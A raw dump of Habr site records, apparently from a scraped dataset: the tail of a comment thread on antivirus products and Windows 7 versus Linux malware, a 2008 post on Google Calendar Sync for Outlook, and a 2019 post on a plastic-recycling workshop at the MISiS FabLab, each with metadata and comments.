придираться к словам — по-моему понятно что имеется ввиду)\n> Рассуждения из серии «если бы да кабы» не имеют под собой основания в 100% случаев.\nЗабавная статистика =) В своё время я работал над одним антивирусным продуктом и через мои руки прошли несколько тысяч самых популярных вирусов под виндовс + я некоторое время пользовался РХ7 и Убунту8.10. Ну так вот где-то 20% вирусов необходимо запустить под администратором (под виндовс ХР — это самый распространенный юзер в то время, а висты тогда еще не было), где-то 70% — это «стандартные» трояны-бекдоры\\адваре, которым не нужно было админских прав для запуска. Они просто тупо прописывались в автозапуск, сидели потихоньку и http запросами (как понимаете по 80 порту) посылали частные данные (как я уже называл — всякие ICQ аккаунты + адресбук почтовика) пользователя на удаленный сервер и так же периодически принимали от него задание на текущий день (например потроллить хттп запросами какой-нибудь ресурс), адваре же тупо показывало рекламные попапы и запускало эксплорер с разного вида сайтами. ~10% — это вирусы использовавшие различного рода уязвимости в компонентах ОС или стороннем софте, причем где-то 8% использовало одну и ту же уязвимость.\nОсновываясь на своём опыте работы с линукс я утверждаю — что вышеописанные 70% можно переписать под линукс и они будут там жить и действовать, потому что работать они там не будут только в том случае, если пользователь их запустивший не имеет почти никаких прав.\nДалее, я так утверждаю, что когда линукс займет хотя бы 20% от десктопного рынка компьютеров, вышеописанные 10% там тоже появятся и вот этот список будет намного больше. Это мои прогнозы в том случае, если линукс как дестоп действительно выйдет в люди.", "Бета Касперский 8 для Windows7 у меня работает, но после его установки новые вкладки в IE открываются с задержкой секунд 5.\nСнес нафиг.", "NOD32 3.0.669.0 работает.", "Нет. Всё серьёзно.", ">> Снес нафиг.\nНадеюсь вы про IE ;)", ">Архитектура->ядро->уязвимости (не вижу смысла здесь придираться к словам — по-моему понятно что имеется ввиду)\nЭто не «придирки к словам», это принципиально разные предметы для обсуждения. При одной и той же архитектуре можно написать ядро как с единицами уязвимостей, так и с сотнями.\nВ общем, я Вас понял. Лучшее, на что я могу рассчитывать — ещё пару раз услышать «архитектура — миф», и «как только — так сразу всё будет».\n>Это мои прогнозы в том случае, если линукс как дестоп действительно выйдет в люди.\nОн давно там. Посмотрите хотя бы на рынок нетбуков.\nP.S.: а за ссылки всё равно спасибо ;) Я теперь знаю, что в используемом мной дистрибутиве (Debian) за целый год (2007-й) уязвимостей было обнаружено «как грязи» — аж целая одна %)\nДа, кстати, а за 2008-й год подобную статистику ещё не подбили? Чрезвычайно интересно было бы посмотреть...", "> Это не «придирки к словам», это принципиально разные предметы для обсуждения. При одной и той же архитектуре можно написать ядро как с единицами уязвимостей, так и с сотнями.\nвозможно всё, но этого не было сделано\n> В общем, я Вас понял. Лучшее, на что я могу рассчитывать — ещё пару раз услышать «архитектура — миф», и «как только — так сразу всё будет».\nя в своем комменте популярно объяснил, что архитектура линукса не мешает существованию вирусов на ней (я сам могу написать несколько за деньги), а вы не можете понять, что вирусы гробящие систему на корню — это антиквариат и никому сейчас не нужны.\n> Он давно там. Посмотрите хотя бы на рынок нетбуков\nне надо туда смотреть, надо смотреть на общий процент, который даже до 3х не дорос (интересно как вы теперь будете трактовать приведенную мной ссылку =)\n> а за ссылки всё равно спасибо ;) Я теперь знаю, что в используемом мной дистрибутиве (Debian) за целый год (2007-й) уязвимостей было обнаружено «как грязи» — аж целая одна %)\nвообще-то на милворме публикуются доступные эксплойты, а не уязвимости =) ну вы то конечно мастак выводы с свою пользу делать.\nКстати последний эксплойт для дебиана там от 6 января сего года.", "UFO just landed and posted this here", "Windows 7 beta 1 32bit + Dr.Web AV-Desk= BSoD. После uninstalla в Safe Mode ось вернулась в работоспособное состояние.", "Решение этой проблемы было положено на File Virtualization.\nВообще разработчики софта должны были заранее головой думать. Хотя вот разработчики QiP-а, кажется, до сих пор этого не поняли...", ">не надо туда смотреть, надо смотреть на общий процент, который даже до 3х не дорос (интересно как вы теперь будете трактовать приведенную мной ссылку =)\nТак же, как и в прошлый раз: прочитаю и обдумаю полученную информацию. Хотя в этот раз всё куда проще, чем в прошлый. Там надо было какие-то цифры сравнивать, а тут достаточно прочитать то, что написано внизу страницы:\n«This report was generated 12/31/2008 based on the last 53,892,847 unique visits to all tracked websites at that time.»\nКлючевые слова — «all tracked web-sites». Т.е. приведённая статистика — это статистика по посещениям определённых веб-сайтов. Что слегка отличается от статистики использования ОСей на десктопах, не находите?\nХотите делать подобные экстраполяции — на здоровье :)\nИ опять же, «выход в люди» не обязательно подразумевает что-то вроде «20% на десктопах домохозяек», «30% на десктопах домохозяек»... Или Вы будете утверждать, что и МакОСь до сих пор не «вышла в люди» (у неё ведь всего лишь чуть больше 5%, если отталкиваться от приведённой Вами статистики)?\n>ну вы то конечно мастак выводы с свою пользу делать.\nВ чём я действительно мастак — так это в понимании и анализе прочитанного. Чего и Вам желаю.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Делюсь опытом: поставил Kaspersky AntiVirus 2009 [eng] — как результат, «синий экран сметри». Удалил Kaspersky в безопасном режиме, но синий экран, увы, никуда не делся :(\nБуду переустанавливать.", "UFO just landed and posted this here", "UFO just landed and posted this here", "Так надо было ставить не Kaspersky AntiVirus 2009, а специальную весию для Windows 7. www.kaspersky.com/windows7", "AVG имеет свойство ставиться через раз, но антивирус классный.", "UFO just landed and posted this here", "о боже...", "Про Avast зря вы так, исправился! :)" ], "author": [ "foe_nix (foe_nix)", "hellt (hellt)", "Xmpe", "almaz ahmetvaleev (almaz)", "{}", "{}", "Антон (krokhmalyuk)", "{}", "Никита Киприянов (merlin-vrn)", "Dangelweb", "Denis Lysenko (etc)", "Андрей Kpyto (Kpyto)", "evar (evar)", "Владимир (kosenka)", "Kane", "{}", "Иван Роганов (Nurked)", "Иван Роганов (Nurked)", "ozonebaby (ozonebaby)", "Иван Роганов (Nurked)", "artaommahe (Arta)", "1999 (1999)", "ozonebaby (ozonebaby)", "kuralesov (kuralesov)", "Леонид Шевцов (coldFlame)", "Леонид Шевцов (coldFlame)", "Дад, просто — дад. (daD)", "Андрей (andre1)", "Леонид Шевцов (coldFlame)", "Владимир (kosenka)", "Виталий Игонин (persei)", "{}", "jenya (jenyav)", "Regis (Regis)", "romx (romx)", "Леонид Шевцов (coldFlame)", "Андрей Лемзяков (FRAGIL3)", "dozen (dozen)", "ozonebaby (ozonebaby)", "slipknot_LeX", "e0ne (e0ne)", "dozen (dozen)", "Иван Роганов (Nurked)", "Иван Роганов (Nurked)", "nikitad (nikitad)", "{}", "dihlofos (dihlofos)", "Kane", "PsySonic (PsySonic)", "PsySonic (PsySonic)", "1999 (1999)", "{}", "nikitad (nikitad)", "Alex (xalexx)", "foe_nix (foe_nix)", "foe_nix (foe_nix)", "Santer (santer)", "jenya (jenyav)", "dozen (dozen)", "1999 (1999)", "analytic (analytic)", "Just For Lulz (biophreak)", "Just For Lulz (biophreak)", "Yizahi (Yizahi)", "{}", "Kane", "dozen (dozen)", "Mew (Mew)", "{}", "{}", "dozen (dozen)", "{}", "{}", "dozen (dozen)", "Иван Филатов (NYMEZIDE)", "Kane", "Андрей Лемзяков (FRAGIL3)", "Алексей Денисов (hiro)", "Михаил (oitoy)", "Alex (xalexx)", "FloppyFormator (FloppyFormator)", "Андрей Румм (RayZ)", "Andrew ks1v Kiselev (kaaquantum)", "{}", "Ушаков Артем (Artemka81)", "I. G. (sol1tude)", "Наверняка вас как-нибудь зовут (DarkPhoenix)", "nikitad (nikitad)", "Игорь Тарасов (TiGR)", "djatel (djatel)", "{}", "dozen (dozen)", "{}", "Mezomish", "xexexe (xexexe)", "nikitad (nikitad)", "Александр Журавлев (avz)", "Good Kat (Goodkat)", "Oleg Churkin (Bahusss)", "demin (demin)", "Михаил (oitoy)", "Антон (krokhmalyuk)", "Carry (Carry)", "Sergey (monser)", "{}", "{}", "nikitad (nikitad)", "nikitad (nikitad)", "{}", "{}", "maxic (maxic)", "Mezomish", "nikitad (nikitad)", "nikitad (nikitad)", "Kane", "Oleg Churkin (Bahusss)", "Константин Биржаков (KonstRuctor)", "Дмитрий Агафонов (AgaFonOff)", "Дмитрий Агафонов (AgaFonOff)", "Дмитрий Агафонов (AgaFonOff)", "Oleg Churkin (Bahusss)", "Mezomish", "{}", "e0ne (e0ne)", "Роман (DerSpinner)", "nikitad (nikitad)", "Oleg Churkin (Bahusss)", "Oleg Churkin (Bahusss)", "nikitad (nikitad)", "Дмитрий Серженко (Serzhenko)", "Mezomish", "vrmzar (vrmzar)", "Rustam Ganeyev (Rustam)", "PsySonic (PsySonic)", "Oleg Churkin (Bahusss)", "Evgeniy A. Vovney (whiplash)", "Mezomish", "Oleg Churkin (Bahusss)", "A (svin)", "Marsikus (Marsikus)", "vrmzar (vrmzar)", "slipknot_LeX", "Mezomish", "Oleg Churkin (Bahusss)", "{}", "Dron15 (Dron15)", "Алексей (pieceofsummer)", "Mezomish", "{}", "{}", "Rain (Rain)", "{}", "{}", "Михаил (MikeGav)", "Memento Mori (Alaunquirie)", "{}", "Сергей 'pokatusher' (M_org)", "丹尼斯 (all1)" ], "children": [ [ 11000646 ], [ 11000644, 11000652, 11000654 ], [], [], [ 11000650, 11000656, 11000730, 11000948 ], [], [ 11000702, 11000744 ], [ 11000680 ], [], [ 11000668 ], [], [ 11000686 ], [], [ 11000684, 11000688 ], [ 11000672, 11000704, 11000732 ], [ 11000690 ], [], [], [ 11000676, 11000736, 11000934 ], [ 11000682 ], [], [ 11000698, 11000748 ], [], [], [ 11000706 ], [ 11000694 ], [], [], [ 11000696 ], [], [ 11000710, 11000734, 11000738 ], [], [ 11000928 ], [], [ 11000708 ], [], [ 11000740, 11000902 ], [ 11000716, 11000780 ], [ 11000724, 11000726, 11000728 ], [ 11000720, 11000722 ], [ 11000742, 11000814 ], [], [], [], [], [], [ 11000746, 11000830, 11000926 ], [ 11000764 ], [ 11000900 ], [ 11000750 ], [], [ 11000754 ], [ 11000774 ], [ 11000792, 11000840 ], [], [ 11000756 ], [ 11000752 ], [], [ 11000766 ], [], [ 11000762 ], [], [], [ 11000768 ], [ 11000770 ], [ 11000854 ], [ 11000776, 11000790 ], [ 11000786 ], [ 11000808, 11000812 ], [ 11000778 ], [ 11000782 ], [ 11000784 ], [ 11000788 ], [ 11000818 ], [], [ 11000798, 11000800 ], [ 11000872 ], [ 11000796 ], [ 11000806 ], [], [ 11000824 ], [], [], [], [], [], [], [ 11000822 ], [], [], [ 11000820, 11000950 ], [], [ 11000828 ], [], [], [ 11000834, 11000836, 11000846, 11000848 ], [], [ 11000838, 11000844 ], [ 11000852, 11000860 ], [], [], [], [ 11000884 ], [], [ 11000850 ], [ 11000862 ], [ 11000856 ], [ 11000878 ], [ 11000866, 11000876 ], [ 11000864 ], [], [ 11000868 ], [ 11000940 ], [ 11000942 ], [ 11000930 ], [ 11000880 ], [], [ 11000874 ], [], [ 11000882 ], [ 11000888 ], [ 11000892 ], [], [], [], [ 11000890 ], [ 11000894 ], [ 11000898 ], [], [], [ 11000906 ], [ 11000904 ], [], [ 11000918 ], [ 11000910 ], [], [ 11000912 ], [ 11000922 ], [ 11000920 ], [], [], [], [ 11000924 ], [ 11000932 ], [], [], [], [], [], [], [ 11000944 ], [], [], [], [], [], [], [] ] }
23,178
ru
https://habr.com/ru/post/23178/
Google Calendar и Outlook
Так складывалось, что календарь Googl'a до сих пор практически не использовал. И едва ли не главным препятствием было отсуствие возможности быстрой и простой синхронизации с рабочим ноутом, домашней машиной и коммуникатором. Но сегодня зайдя по своему экаунту обнаружил крайне приятное новшество, которое позволит использовать календарь более активно: ## Sync with Microsoft OutlookTM calendarNew! Оказалось что наподобие утилиты Email Uploader Гугл создал утилиту синхронизации, которая приняв один раз данные вашего ящика тихо-мирно сидит в трее, выполняя синхронизацию через заданый промежуток времени. Утилита поддерживает три типа синхронизации — двусторонний, Outlook -> Calendar и Calendar -> Outlook. Тип задается в начальных настройках (там же где вводится почтовый экаунт) и может быть впоследствии изменен. Пара нюансов: 1) Утилита предназначена сугубо для MS Outlook 2003 и 2007. 2) В связи с тем, что типы напоминаний Google Calendar и Outlook не вполне совпадают, то напоминания на эл.почту и SMS (вдруг кто пользуется?) в Outlook не передаются. 3) Категории Outlook не передаются также. 4) По-видимому, опция доступна пока только в англоязычном интерфейсе. Напоследок пара ссылок: Закачать утилиту Google Calendar Sync: Getting Started (англ.)
<div xmlns="http://www.w3.org/1999/xhtml">Так складывалось, что календарь Googl'a до сих пор практически не использовал. И едва ли не главным препятствием было отсуствие возможности быстрой и простой синхронизации с рабочим ноутом, домашней машиной и коммуникатором.<br/> Но сегодня зайдя по своему экаунту обнаружил крайне приятное новшество, которое позволит использовать календарь более активно:<br/> <h2>Sync with Microsoft Outlook™ calendar<sup>New!</sup></h2><br/> <div style="text-align:center;"><img src="https://habrastorage.org/getpro/habr/olpictures/d33/8de/342/d338de3427016430c831c21029ac49aa.gif" width="450" height="203" alt="Новая опция добавлена" hspace="10" vspace="10" data-src="https://habrastorage.org/getpro/habr/olpictures/d33/8de/342/d338de3427016430c831c21029ac49aa.gif"/></div><br/> Оказалось что наподобие утилиты Email Uploader Гугл создал утилиту синхронизации, которая приняв один раз данные вашего ящика тихо-мирно сидит в трее, выполняя синхронизацию через заданый промежуток времени. <br/> Утилита поддерживает три типа синхронизации — двусторонний, Outlook -> Calendar и Calendar -> Outlook. Тип задается в начальных настройках (там же где вводится почтовый экаунт) и может быть впоследствии изменен.<br/> Пара нюансов:<br/> 1) Утилита предназначена сугубо для MS Outlook 2003 и 2007.<br/> 2) В связи с тем, что типы напоминаний Google Calendar и Outlook не вполне совпадают, то напоминания на эл.почту и SMS (вдруг кто пользуется?) в Outlook не передаются.<br/> 3) Категории Outlook не передаются также.<br/> 4) По-видимому, опция доступна пока только в англоязычном интерфейсе.<br/> <br/> Напоследок пара ссылок:<br/> <a href="http://dl.google.com/googlecalendarsync/GoogleCalendarSync_Installer.exe" title="Скачать Google Calendar Sync">Закачать утилиту</a><br/> <a href="http://www.google.com/support/calendar/bin/answer.py?answer=89955&amp;ctx=related" title="Справка по Google Calendar Sync (англ.)">Google Calendar Sync: Getting Started (англ.)</a></div>
Т.Б. (St)
null
null
Так складывалось, что календарь Googl'a до сих пор практически не использовал. И едва ли не главным препятствием было отсуствие возможности быстрой и простой синхронизации с рабочим ноутом, домашней машиной и коммуникатором.<br/> Но сегодня зайдя по своему экаунту обнаружил крайне приятное новшество, которое позволит использовать календарь более активно:<br/> <h2>Sync with Microsoft Outlook™ calendar<sup>New!</sup></h2><br/> <div style="text-align:center;"><img src="https://habrastorage.org/getpro/habr/olpictures/d33/8de/342/d338de3427016430c831c21029ac49aa.gif" width="450" height="203" alt="Новая опция добавлена" hspace="10" vspace="10" /></div><br/> Оказалось что наподобие утилиты Email Uploader Гугл создал утилиту синхронизации, которая приняв один раз данные вашего ящика тихо-мирно сидит в трее, выполняя синхронизацию через заданый промежуток времени. <br/> Утилита поддерживает три типа синхронизации — двусторонний, Outlook -&gt; Calendar и Calendar -&gt; Outlook. Тип задается в начальных настройках (там же где вводится почтовый экаунт) и может быть впоследствии изменен.<br/> Пара нюансов:<br/> 1) Утилита предназначена сугубо для MS Outlook 2003 и 2007.<br/> 2) В связи с тем, что типы напоминаний Google Calendar и Outlook не вполне совпадают, то напоминания на эл.почту и SMS (вдруг кто пользуется?) в Outlook не передаются.<br/> 3) Категории Outlook не передаются также.<br/> 4) По-видимому, опция доступна пока только в англоязычном интерфейсе.<br/> <br/> Напоследок пара ссылок:<br/> <a href="http://dl.google.com/googlecalendarsync/GoogleCalendarSync_Installer.exe" title="Скачать Google Calendar Sync">Закачать утилиту</a><br/> <a href="http://www.google.com/support/calendar/bin/answer.py?answer=89955&amp;ctx=related" title="Справка по Google Calendar Sync (англ.)">Google Calendar Sync: Getting Started (англ.)</a>
Так складывалось, что календарь Googl'a до сих пор практически не использовал. И едва ли не главным препятствием было отсуствие возможности быстрой и простой синхронизации с рабочим ноутом, домашней машиной и коммуникатором. Но сегодня зайдя по своему экаунту обнаружил крайне приятное новшество, которое позволит использовать календарь более активно: ## Sync with Microsoft OutlookTM calendarNew! Оказалось что наподобие утилиты Email Uploader Гугл создал утилиту синхронизации, которая приняв один раз данные вашего ящика тихо-мирно сидит в трее, выполняя синхронизацию через заданый промежуток времени. Утилита поддерживает три типа синхронизации — двусторонний, Outlook -> Calendar и Calendar -> Outlook. Тип задается в начальных настройках (там же где вводится почтовый экаунт) и может быть впоследствии изменен. Пара нюансов: 1) Утилита предназначена сугубо для MS Outlook 2003 и 2007. 2) В связи с тем, что типы напоминаний Google Calendar и Outlook не вполне совпадают, то напоминания на эл.почту и SMS (вдруг кто пользуется?) в Outlook не передаются. 3) Категории Outlook не передаются также. 4) По-видимому, опция доступна пока только в англоязычном интерфейсе. Напоследок пара ссылок: Закачать утилиту Google Calendar Sync: Getting Started (англ.)
article
1,207,683,107
{ "commentsCount": 8, "favoritesCount": 1, "readingCount": 2021, "score": 2, "votesCount": 16, "votesCountPlus": 9, "votesCountMinus": 7 }
[]
[ "itcompanies" ]
[ "popsci" ]
[ "Google", "Outlook", "синхронизация данных" ]
1
null
null
{ "id": [ 12048247, 12048249, 12048251, 12048253, 12048255, 12048257, 12048259, 12048261 ], "parent_id": [ null, null, null, 12048249, 12048251, 12048255, 12048257, 12048259 ], "level": [ 0, 0, 0, 1, 1, 2, 3, 4 ], "time_published": [ 1207703388, 1207721937, 1207722450, 1207731454, 1207731638, 1207737684, 1207738696, 1207765830 ], "score": [ 1, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 1, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">[:||||||:]</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://habrahabr.ru/blog/google/37133.html\" title=\"http://habrahabr.ru/blog/google/37133.html\">http://habrahabr.ru/blog/google/37133.ht…</a><br/>\nмесяц</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Зачем аутлук? Я пользуюсь Thunderbird+lightning+provider_for_google_calendar. Все очень удобно, быстро работает... Все на русском :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">*философски* Значит я из тех, кто долго запрягает...<br/>\nЦенителям музыки — спасибо :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">русский/не русский — как раз для меня непринципиально совсем. Thunderbird штука хорошая, смотрю каждый раз, когда новая версия выходит, но там в адресной книге такого важного поля как «отчество» нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Точно! Нет :), на европейские стандарты перехдим :)))))))))))))))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Европейские стандарты нам не очень подходят: сменить Имя/Фамилию вы можете в любой момент, было бы желание, а вот Отчество - фиг, потому для официальных документов это очень важное поле.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну вот и у меня есть набор контактов, для которых отчество знать принципиально — ибо обидеться могут, а подобныелюди когда обижаются, то сильно вредят бизнесу.</div>" ], "message_markdown": [ "[:||||||:]", "http://habrahabr.ru/blog/google/37133.ht...\nмесяц", "Зачем аутлук? Я пользуюсь Thunderbird+lightning+provider_for_google_calendar. Все очень удобно, быстро работает... Все на русском :)", "*философски* Значит я из тех, кто долго запрягает...\nЦенителям музыки — спасибо :)", "русский/не русский — как раз для меня непринципиально совсем. Thunderbird штука хорошая, смотрю каждый раз, когда новая версия выходит, но там в адресной книге такого важного поля как «отчество» нет.", "Точно! Нет :), на европейские стандарты перехдим :)))))))))))))))", "Европейские стандарты нам не очень подходят: сменить Имя/Фамилию вы можете в любой момент, было бы желание, а вот Отчество - фиг, потому для официальных документов это очень важное поле.", "Ну вот и у меня есть набор контактов, для которых отчество знать принципиально — ибо обидеться могут, а подобныелюди когда обижаются, то сильно вредят бизнесу." ], "author": [ "Юрий Пац (false)", "Michael (mix2000)", "Виктор (googloid)", "Т.Б. (St)", "Т.Б. (St)", "Виктор (googloid)", "khim (khim)", "Т.Б. (St)" ], "children": [ [], [ 12048253 ], [ 12048255 ], [], [ 12048257 ], [ 12048259 ], [ 12048261 ], [] ] }
459,528
ru
https://habr.com/ru/post/459528/
Как мы учим французов экологии и собираем бутылки
Студенты из Университета Париж-Сакле (Франция) стали участниками практикума по переработке пластика, который проходит с 1 по 13 июля 2019 года в ФабЛабе НИТУ «МИСиС». Курс посвящен работе c машинами Precious Plastic. Открытый проект голландца Дэйва Хаккенса Precious Plastic – это глобальное сообщество, занимающееся созданием машин, предназначенных для переработки пластиковых отходов в новое сырье, а затем и в предметы для повседневного использования (контейнеры, инструменты, городская мебель и т. д.). Проект является открытым: собрать машину может любой энтузиаст (мейкер, дизайнер или инженер), а локальные сообщества будут ее использовать для переработки пластикового мусора. В рамках своего давнего и активного сотрудничества НИТУ «МИСиС» и Университет Париж-Сакле создали команду российских и французских студентов. В ходе двухнедельной практики студенты участвуют в сборке функциональных машин, создании технологий и производстве продуктов для развития проекта. Познакомиться с результатами работы международной команды студентов можно будет на итоговой презентации, совмещенной с выставкой, которые пройдут 12 июля в 18:00 в ФабЛабе НИТУ «МИСиС» (Крымский вал, д. 3, НИТУ «МИСиС», корпус «К»). Двухнедельный практический курс – не единственная экологическая инициатива ФабЛаба НИТУ «МИСиС». Центр представил и собственную разработку — выпускник магистратуры «Технологии цифрового производства» Артем Коротков собрал линию для переработки бытового пластика: металлический шредер измельчает пластиковые бутылки (и другой пластиковый мусор) на хлопья. Пластиковые хлопья – это исходный материал, который можно использовать в других машинах. В инжекторной машине из него можно отливать мелкие пластиковые изделия, в компрессионной машине – изготавливать пластины и габаритные пластиковые предметы. Один килограмм исходника – это около 50-ти пластиковых бутылок из-под газировки. Инновационный шредер способен превратить их в хлопья за 10 минут. Материал – пустую пластиковую тару, отходы 3D-печати, и т.д. – разработчик собирает прямо в университете. Часть сырья – это пластиковые отходы, получаемые в результате деятельности центра ФабЛаб, кроме того, пластик для утилизации предоставляют Артему студенческие кафе, работающие на территории университета. Помимо всего, молодой стартапер активно сотрудничает с другими мейкерам, отправляя детали своего изобретения по всему миру. В его клиентской корзине заказы из различных стран и частей света: европейские страны, США, Уганда, Тринидад и Табаго, Гонг-Конг, Малайзия. Широта географии хорошо иллюстрирует общую для всех стран потребность решать проблемы экологии и осознанного потребления. Такой проектно-ориентированный подход, отвечающий как актуальным экологическим проблемам, так и личной тяге людей к созданию чего-то уникального, – один из основополагающий принципов философии ФабЛабов. Магистратура «Технологии цифрового производства» на базе ФабЛаб НИТУ «МИСиС», которую закончил Артем – яркий пример того, что философия мейкерства и цифрового производства закрепляется в нашем обществе. На сегодняшний день уникальная для России программа направлена на подготовку креативных технических специалистов, способных применять компетенции из разных областей для собственноручного создания продукта от идеи до полномасштабного воплощения. Однако «собственноручно» не означает «вручную». Студенты учатся работать с программами Solid Works, Fusion 360, Cura и другими, а также с современными производственными установками – станками лазерной резки и гравировки, 3D-принтерами. Среди прочих учебных дисциплин – материаловедение, дизайн продуктов, машинное обучение, прикладная электроника. Вообще, весь учебный процесс построен по принципу CDIO (Придумывай-Разрабатывай-Внедряй-Управляй), то есть, любая теория сразу же закрепляется практикой. Набор на магистратуру открыт, подать документы можно до 20 июля, а узнать подробности – здесь.
<div xmlns="http://www.w3.org/1999/xhtml">Студенты из Университета Париж-Сакле (Франция) стали участниками практикума по переработке пластика, который проходит с 1 по 13 июля 2019 года в ФабЛабе НИТУ «МИСиС». <br/> <br/> Курс посвящен работе c машинами Precious Plastic. Открытый проект голландца Дэйва Хаккенса Precious Plastic – это глобальное сообщество, занимающееся созданием машин, предназначенных для переработки пластиковых отходов в новое сырье, а затем и в предметы для повседневного использования (контейнеры, инструменты, городская мебель и т. д.). Проект является открытым: собрать машину может любой энтузиаст (мейкер, дизайнер или инженер), а локальные сообщества будут ее использовать для переработки пластикового мусора. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/cde/aeb/66f/cdeaeb66f2c17fb697d1581596137631.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/cde/aeb/66f/cdeaeb66f2c17fb697d1581596137631.jpg" data-blurred="true"/> <a name="habracut"></a><br/> <br/> В рамках своего давнего и активного сотрудничества НИТУ «МИСиС» и Университет Париж-Сакле создали команду российских и французских студентов. В ходе двухнедельной практики студенты участвуют в сборке функциональных машин, создании технологий и производстве продуктов для развития проекта.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/56d/ab7/e63/56dab7e639b1cc5799d78d235f2aca89.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/56d/ab7/e63/56dab7e639b1cc5799d78d235f2aca89.jpg" data-blurred="true"/><br/> <br/> Познакомиться с результатами работы международной команды студентов можно будет на <a href="https://fablabmoscowmisis.timepad.ru/event/1016121/">итоговой презентации, совмещенной с выставкой</a>, которые пройдут 12 июля в 18:00 в ФабЛабе НИТУ «МИСиС» (Крымский вал, д. 3, НИТУ «МИСиС», корпус «К»).<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/22b/981/d7a/22b981d7acd7710c1ce2822434030c0e.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/22b/981/d7a/22b981d7acd7710c1ce2822434030c0e.jpg" data-blurred="true"/><br/> <br/> Двухнедельный практический курс – не единственная экологическая инициатива ФабЛаба НИТУ «МИСиС». Центр представил и собственную разработку — выпускник магистратуры «Технологии цифрового производства» Артем Коротков собрал линию для переработки бытового пластика: металлический шредер измельчает пластиковые бутылки (и другой пластиковый мусор) на хлопья.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/52f/d3d/514/52fd3d5145289930995a316f30c31dda.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/52f/d3d/514/52fd3d5145289930995a316f30c31dda.jpg" data-blurred="true"/><br/> <br/> Пластиковые хлопья – это исходный материал, который можно использовать в других машинах. В инжекторной машине из него можно отливать мелкие пластиковые изделия, в компрессионной машине – изготавливать пластины и габаритные пластиковые предметы. Один килограмм исходника – это около 50-ти пластиковых бутылок из-под газировки. Инновационный шредер способен превратить их в хлопья за 10 минут. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/4cb/814/8bc/4cb8148bc401c95c0a22a31fe5055050.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/4cb/814/8bc/4cb8148bc401c95c0a22a31fe5055050.jpg" data-blurred="true"/><br/> <br/> Материал – пустую пластиковую тару, отходы 3D-печати, и т.д. – разработчик собирает прямо в университете. Часть сырья – это пластиковые отходы, получаемые в результате деятельности центра ФабЛаб, кроме того, пластик для утилизации предоставляют Артему студенческие кафе, работающие на территории университета. <br/> <br/> Помимо всего, молодой стартапер активно сотрудничает с другими мейкерам, отправляя детали своего изобретения по всему миру. В его клиентской корзине заказы из различных стран и частей света: европейские страны, США, Уганда, Тринидад и Табаго, Гонг-Конг, Малайзия. Широта географии хорошо иллюстрирует общую для всех стран потребность решать проблемы экологии и осознанного потребления.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/29e/946/502/29e94650273b2510f7ed3acf5754c3ec.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/29e/946/502/29e94650273b2510f7ed3acf5754c3ec.jpg" data-blurred="true"/><br/> <br/> Такой проектно-ориентированный подход, отвечающий как актуальным экологическим проблемам, так и личной тяге людей к созданию чего-то уникального, – один из основополагающий принципов философии ФабЛабов. Магистратура «Технологии цифрового производства» на базе ФабЛаб НИТУ «МИСиС», которую закончил Артем – яркий пример того, что философия мейкерства и цифрового производства закрепляется в нашем обществе. На сегодняшний день уникальная для России программа направлена на подготовку креативных технических специалистов, способных применять компетенции из разных областей для собственноручного создания продукта от идеи до полномасштабного воплощения. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/39b/9a0/9f4/39b9a09f4e9d3c53a3d33ccee8597f5f.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/39b/9a0/9f4/39b9a09f4e9d3c53a3d33ccee8597f5f.jpg" data-blurred="true"/><br/> <br/> Однако «собственноручно» не означает «вручную». Студенты учатся работать с программами Solid Works, Fusion 360, Cura и другими, а также с современными производственными установками – станками лазерной резки и гравировки, 3D-принтерами. Среди прочих учебных дисциплин – материаловедение, дизайн продуктов, машинное обучение, прикладная электроника. Вообще, весь учебный процесс построен по принципу CDIO (Придумывай-Разрабатывай-Внедряй-Управляй), то есть, любая теория сразу же закрепляется практикой.<br/> <br/> Набор на магистратуру открыт, подать документы можно до 20 июля, а узнать подробности – <a href="http://fab.misis.ru/">здесь</a>.</div>
Вадим Нестеров (vad_nes)
null
null
Студенты из Университета Париж-Сакле (Франция) стали участниками практикума по переработке пластика, который проходит с 1 по 13 июля 2019 года в ФабЛабе НИТУ «МИСиС». <br> <br> Курс посвящен работе c машинами Precious Plastic. Открытый проект голландца Дэйва Хаккенса Precious Plastic – это глобальное сообщество, занимающееся созданием машин, предназначенных для переработки пластиковых отходов в новое сырье, а затем и в предметы для повседневного использования (контейнеры, инструменты, городская мебель и т. д.). Проект является открытым: собрать машину может любой энтузиаст (мейкер, дизайнер или инженер), а локальные сообщества будут ее использовать для переработки пластикового мусора. <br> <br> <img src="https://habrastorage.org/getpro/habr/post_images/cde/aeb/66f/cdeaeb66f2c17fb697d1581596137631.jpg" alt="image">
